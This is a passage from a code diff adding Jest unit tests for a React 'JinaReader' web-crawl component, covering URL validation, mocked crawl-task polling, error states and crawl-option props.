+      // Rerender with same options
+      rerender(<JinaReader {...props} />)
+
+      // Assert - component should still work correctly
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // User Interactions and Event Handlers Tests
+  // ============================================================================
+  describe('User Interactions', () => {
+    it('should open account settings when configuration button is clicked', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const configButton = screen.getByText('datasetCreation.stepOne.website.configureJinaReader')
+      await userEvent.click(configButton)
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledWith({
+        payload: 'data-source',
+      })
+    })
+
+    it('should handle URL input and run button click', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Test',
+          content: 'Content',
+          description: 'Desc',
+          url: 'https://test.com',
+        },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith({
+          url: 'https://test.com',
+          options: props.crawlOptions,
+        })
+      })
+    })
+
+    it('should handle preview action on crawled result', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const onPreview = jest.fn()
+      const crawlResultData = {
+        title: 'Preview Test',
+        content: '# Content',
+        description: 'Preview desc',
+        url: 'https://preview.com',
+      }
+
+      mockCreateTask.mockResolvedValueOnce({ data: crawlResultData })
+
+      const props = createDefaultProps({ onPreview })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://preview.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - result should be displayed
+      await waitFor(() => {
+        expect(screen.getByText('Preview Test')).toBeInTheDocument()
+      })
+
+      // Click on preview button
+      const previewButton = screen.getByText('datasetCreation.stepOne.website.preview')
+      await userEvent.click(previewButton)
+
+      expect(onPreview).toHaveBeenCalled()
+    })
+
+    it('should handle checkbox changes in options', async () => {
+      // Arrange
+      const onCrawlOptionsChange = jest.fn()
+      const props = createDefaultProps({
+        onCrawlOptionsChange,
+        crawlOptions: createDefaultCrawlOptions({ crawl_sub_pages: false }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Find and click the checkbox by data-testid
+      const checkbox = screen.getByTestId('checkbox-crawl-sub-pages')
+      fireEvent.click(checkbox)
+
+      // Assert - onCrawlOptionsChange should be called
+      expect(onCrawlOptionsChange).toHaveBeenCalled()
+    })
+
+    it('should toggle options visibility when clicking options header', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Options content should be visible initially
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+
+      // Click to collapse
+      const optionsHeader = screen.getByText('datasetCreation.stepOne.website.options')
+      await userEvent.click(optionsHeader)
+
+      // Assert - options should be hidden
+      expect(screen.queryByText('datasetCreation.stepOne.website.crawlSubPage')).not.toBeInTheDocument()
+
+      // Click to expand again
+      await userEvent.click(optionsHeader)
+
+      // Options should be visible again
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // API Calls Tests
+  // ============================================================================
+  describe('API Calls', () => {
+    it('should call createJinaReaderTask with correct parameters', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://api-test.com' },
+      })
+
+      const crawlOptions = createDefaultCrawlOptions({ limit: 5, max_depth: 3 })
+      const props = createDefaultProps({ crawlOptions })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://api-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith({
+          url: 'https://api-test.com',
+          options: crawlOptions,
+        })
+      })
+    })
+
+    it('should handle direct data response from API', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Direct Result',
+          content: '# Direct Content',
+          description: 'Direct desc',
+          url: 'https://direct.com',
+        },
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://direct.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([
+          expect.objectContaining({
+            title: 'Direct Result',
+            source_url: 'https://direct.com',
+          }),
+        ])
+      })
+    })
+
+    it('should handle job_id response and poll for status', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onJobIdChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'poll-job-123' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 2,
+        total: 2,
+        data: [
+          createCrawlResultItem({ source_url: 'https://p1.com' }),
+          createCrawlResultItem({ source_url: 'https://p2.com' }),
+        ],
+      })
+
+      const props = createDefaultProps({ onJobIdChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://poll-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('poll-job-123')
+      })
+
+      await waitFor(() => {
+        expect(mockCheckStatus).toHaveBeenCalledWith('poll-job-123')
+      })
+    })
+
+    it('should handle failed status from polling', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'fail-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'failed',
+        message: 'Crawl failed due to network error',
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://fail-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+
+      expect(screen.getByText('Crawl failed due to network error')).toBeInTheDocument()
+    })
+
+    it('should handle API error during status check', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'error-job' })
+      mockCheckStatus.mockRejectedValueOnce({
+        json: () => Promise.resolve({ message: 'API Error occurred' }),
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://error-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+
+    it('should limit total to crawlOptions.limit', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'limit-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 100,
+        total: 100,
+        data: Array.from({ length: 100 }, (_, i) =>
+          createCrawlResultItem({ source_url: `https://example.com/${i}` }),
+        ),
+      })
+
+      const props = createDefaultProps({
+        onCheckedCrawlResultChange,
+        crawlOptions: createDefaultCrawlOptions({ limit: 5 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://limit-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Component Memoization Tests
+  // ============================================================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert - React.memo components have $$typeof Symbol(react.memo)
+      expect(JinaReader.$$typeof?.toString()).toBe('Symbol(react.memo)')
+      expect((JinaReader as unknown as { type: unknown }).type).toBeDefined()
+    })
+  })
+
+  // ============================================================================
+  // Edge Cases and Error Handling Tests
+  // ============================================================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should show error for empty URL', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - Toast should be shown (mocked via Toast component)
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error for invalid URL format', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'invalid-url')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error for URL without protocol', async () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should accept URL with http:// protocol', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'http://example.com' },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'http://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is empty', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '' }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is null', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: null as unknown as number }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should show error when limit is undefined', async () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: undefined as unknown as number }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(createJinaReaderTask).not.toHaveBeenCalled()
+      })
+    })
+
+    it('should handle API throwing an exception', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockRejectedValueOnce(new Error('Network error'))
+      // Suppress console output during test to avoid noisy logs
+      const consoleSpy = jest.spyOn(console, 'log').mockImplementation(jest.fn())
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://exception-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+
+      consoleSpy.mockRestore()
+    })
+
+    it('should handle status response without status field', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'no-status-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        // No status field
+        message: 'Unknown error',
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://no-status-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.exceptionErrorTitle')).toBeInTheDocument()
+      })
+    })
+
+    it('should show unknown error when error message is empty', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'empty-error-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'failed',
+        // No message
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://empty-error-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('datasetCreation.stepOne.website.unknownError')).toBeInTheDocument()
+      })
+    })
+
+    it('should handle empty data array from API', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'empty-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        data: [],
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://empty-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should handle null data from running status', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'null-data-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 0,
+          total: 5,
+          data: null,
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 5,
+          total: 5,
+          data: [createCrawlResultItem()],
+        })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://null-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should return empty array when completed job has undefined data', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'undefined-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        // data is undefined - should fallback to empty array
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://undefined-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([])
+      })
+    })
+
+    it('should show zero current progress when crawlResult is not yet available', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'zero-current-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 10 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://zero-current-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should show 0/10 when crawlResult is undefined
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/10/)).toBeInTheDocument()
+      })
+    })
+
+    it('should show 0/0 progress when limit is zero string', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'zero-total-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '0' }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://zero-total-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should show 0/0 when limit parses to 0
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/0/)).toBeInTheDocument()
+      })
+    })
+
+    it('should complete successfully when result data is undefined', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'undefined-result-data-job' })
+      mockCheckStatus.mockResolvedValueOnce({
+        status: 'completed',
+        current: 0,
+        total: 0,
+        time_consuming: 1.5,
+        // data is undefined - should fallback to empty array
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://undefined-result-data-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should complete and show results even if empty
+      await waitFor(() => {
+        expect(screen.getByText(/scrapTimeInfo/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should use limit as total when crawlResult total is not available', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'no-total-job' })
+      mockCheckStatus.mockImplementation(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 15 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://no-total-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should use limit (15) as total
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/15/)).toBeInTheDocument()
+      })
+    })
+
+    it('should fallback to limit when crawlResult has zero total', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'both-zero-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 0,
+          total: 0,
+          data: [],
+        })
+        .mockImplementationOnce(() => new Promise(() => { /* never resolves */ }))
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 5 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://both-zero-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should show progress indicator
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/)).toBeInTheDocument()
+      })
+    })
+
+    it('should construct result item from direct data response', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const onCheckedCrawlResultChange = jest.fn()
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Direct Title',
+          content: '# Direct Content',
+          description: 'Direct desc',
+          url: 'https://direct-array.com',
+        },
+      })
+
+      const props = createDefaultProps({ onCheckedCrawlResultChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://direct-array.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should construct result item from direct response
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalledWith([
+          expect.objectContaining({
+            title: 'Direct Title',
+            source_url: 'https://direct-array.com',
+          }),
+        ])
+      })
+    })
+  })
+
+  // ============================================================================
+  // All Prop Variations Tests
+  // ============================================================================
+  describe('Prop Variations', () => {
+    it('should handle different limit values in crawlOptions', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://limit.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 100 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://limit.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ limit: 100 }),
+          }),
+        )
+      })
+    })
+
+    it('should handle different max_depth values', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://depth.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ max_depth: 5 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://depth.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ max_depth: 5 }),
+          }),
+        )
+      })
+    })
+
+    it('should handle crawl_sub_pages disabled', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://nosub.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ crawl_sub_pages: false }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://nosub.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ crawl_sub_pages: false }),
+          }),
+        )
+      })
+    })
+
+    it('should handle use_sitemap enabled', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://sitemap.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ use_sitemap: true }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://sitemap.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({ use_sitemap: true }),
+          }),
+        )
+      })
+    })
+
+    it('should handle includes and excludes patterns', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://patterns.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({
+          includes: '/docs/*',
+          excludes: '/api/*',
+        }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://patterns.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledWith(
+          expect.objectContaining({
+            options: expect.objectContaining({
+              includes: '/docs/*',
+              excludes: '/api/*',
+            }),
+          }),
+        )
+      })
+    })
+
+    it('should handle pre-selected crawl results', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const existingResult = createCrawlResultItem({ source_url: 'https://existing.com' })
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'New', content: 'C', description: 'D', url: 'https://new.com' },
+      })
+
+      const props = createDefaultProps({
+        checkedCrawlResult: [existingResult],
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://new.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should handle string type limit value', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://string-limit.com' },
+      })
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '25' }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://string-limit.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Display and UI State Tests
+  // ============================================================================
+  describe('Display and UI States', () => {
+    it('should show crawling progress during running state', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'progress-job' })
+      mockCheckStatus.mockImplementation(() => new Promise((_resolve) => { /* pending */ })) // Never resolves
+
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: 10 }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://progress.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped.*0\/10/)).toBeInTheDocument()
+      })
+    })
+
+    it('should display time consumed after crawl completion', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: { title: 'T', content: 'C', description: 'D', url: 'https://time.com' },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://time.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/scrapTimeInfo/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should display crawled results list after completion', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Result Page',
+          content: '# Content',
+          description: 'Description',
+          url: 'https://result.com',
+        },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://result.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText('Result Page')).toBeInTheDocument()
+      })
+    })
+
+    it('should show error message component when crawl fails', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+
+      mockCreateTask.mockRejectedValueOnce(new Error('Failed'))
+      // Suppress console output during test to avoid noisy logs
+      jest.spyOn(console, 'log').mockImplementation(jest.fn())
+
